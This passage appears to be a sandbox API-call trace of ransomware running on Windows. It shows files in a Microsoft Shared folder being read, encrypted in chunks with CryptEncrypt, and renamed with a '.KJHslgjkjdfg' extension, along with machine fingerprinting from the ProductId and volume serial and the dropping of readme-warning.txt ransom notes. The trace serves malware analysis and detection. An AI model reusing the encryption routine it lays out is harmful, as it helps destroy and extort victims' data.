(in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.988] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x96a00, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x96a00, lpOverlapped=0x0) returned 1 [0190.000] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x96a00, dwBufLen=0x96a00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x96a00) returned 1 [0190.007] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.007] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x96a00, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x96a00, lpOverlapped=0x0) returned 1 [0190.009] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.009] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x96ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.009] SetEndOfFile (hFile=0x12c) returned 1 [0190.013] GetProcessHeap () returned 0x2ef0000 [0190.013] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0190.013] GetProcessHeap () returned 0x2ef0000 [0190.013] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.kjhslgjkjdfg")) returned 1 [0190.014] CloseHandle (hObject=0x12c) returned 1 [0190.014] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0190.014] GetProcessHeap () returned 0x2ef0000 [0190.014] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.014] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.014] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0190.014] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.014] GetProcessHeap () returned 0x2ef0000 [0190.014] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0190.015] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.015] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0190.015] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.015] GetProcessHeap () returned 0x2ef0000 [0190.015] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0190.015] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.015] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0190.015] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.015] GetProcessHeap () returned 0x2ef0000 [0190.015] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0190.015] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.015] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0190.015] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.015] GetProcessHeap () returned 0x2ef0000 [0190.015] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0190.015] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.015] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0190.015] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.015] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0190.016] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0190.016] RegCloseKey (hKey=0x12c) returned 0x0 [0190.016] GetProcessHeap () returned 0x2ef0000 [0190.016] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0190.016] GetProcessHeap () returned 0x2ef0000 [0190.016] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0190.016] GetProcessHeap () returned 0x2ef0000 [0190.016] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0190.016] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.016] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0190.016] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.016] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0190.016] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0190.017] GetProcessHeap () returned 0x2ef0000 [0190.017] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0190.017] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0190.017] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0190.017] GetProcessHeap () returned 0x2ef0000 [0190.017] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0190.017] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\readme-warning.txt") returned 79 [0190.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.020] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0190.021] CloseHandle (hObject=0x12c) returned 1 [0190.021] GetProcessHeap () returned 0x2ef0000 [0190.021] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.021] GetProcessHeap () returned 0x2ef0000 [0190.021] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0190.021] GetProcessHeap () returned 0x2ef0000 [0190.021] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0190.021] GetProcessHeap () returned 0x2ef0000 [0190.021] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.021] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0190.022] GetProcessHeap () returned 0x2ef0000 [0190.022] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0190.022] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0190.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.022] GetFileSizeEx (in: hFile=0x130, lpFileSize=0x4dff280 | out: lpFileSize=0x4dff280*=2120459) returned 1 [0190.022] GetProcessHeap () returned 0x2ef0000 [0190.022] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.022] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.022] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff26c*=0x5, lpOverlapped=0x0) returned 1 [0190.025] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff270 | out: phKey=0x4dff270*=0x2f182c8) returned 1 [0190.025] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.025] GetProcessHeap () returned 0x2ef0000 [0190.025] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0190.025] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff250*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff250*=0x30) returned 1 [0190.025] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.025] WriteFile (in: hFile=0x130, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff26c*=0x30, lpOverlapped=0x0) returned 1 [0190.025] WriteFile (in: hFile=0x130, lpBuffer=0x4dff274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff274*, lpNumberOfBytesWritten=0x4dff26c*=0x4, lpOverlapped=0x0) returned 1 [0190.025] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff26c*=0x10, lpOverlapped=0x0) returned 1 [0190.025] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff26c*=0x80, lpOverlapped=0x0) returned 1 [0190.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0190.026] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff26c*=0x8, lpOverlapped=0x0) returned 1 [0190.026] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff270 | out: phKey=0x4dff270*=0x2f182c8) returned 1 [0190.026] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0190.026] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0190.035] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0190.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.038] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0190.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.038] WriteFile (in: hFile=0x130, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0190.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xac903, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0190.038] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0190.045] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0190.049] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xac903, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.049] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0190.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.050] WriteFile (in: hFile=0x130, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0190.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c5b10, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0190.050] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0190.056] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0190.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c5b10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.059] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0190.060] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.060] WriteFile (in: hFile=0x130, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0190.060] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.060] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.060] SetEndOfFile (hFile=0x130) returned 1 [0190.063] GetProcessHeap () returned 0x2ef0000 [0190.063] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0190.063] GetProcessHeap () returned 0x2ef0000 [0190.063] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.kjhslgjkjdfg")) returned 1 [0190.125] CloseHandle (hObject=0x130) returned 1 [0190.125] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0190.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.126] GetProcessHeap () returned 0x2ef0000 [0190.126] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.126] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0190.126] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0190.126] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.126] GetProcessHeap () returned 0x2ef0000 [0190.126] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.126] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0190.126] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.126] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0190.128] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0190.129] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0190.129] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0190.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0190.129] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0190.129] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0190.129] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.129] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x600, lpOverlapped=0x0) returned 1 [0190.129] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x600, dwBufLen=0x600 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x600) returned 1 [0190.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.129] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x600, lpOverlapped=0x0) returned 1 [0190.129] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.129] SetEndOfFile (hFile=0x130) returned 1 [0190.132] GetProcessHeap () returned 0x2ef0000 [0190.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.132] GetProcessHeap () returned 0x2ef0000 [0190.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.kjhslgjkjdfg")) returned 1 [0190.133] CloseHandle (hObject=0x130) returned 1 [0190.134] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, 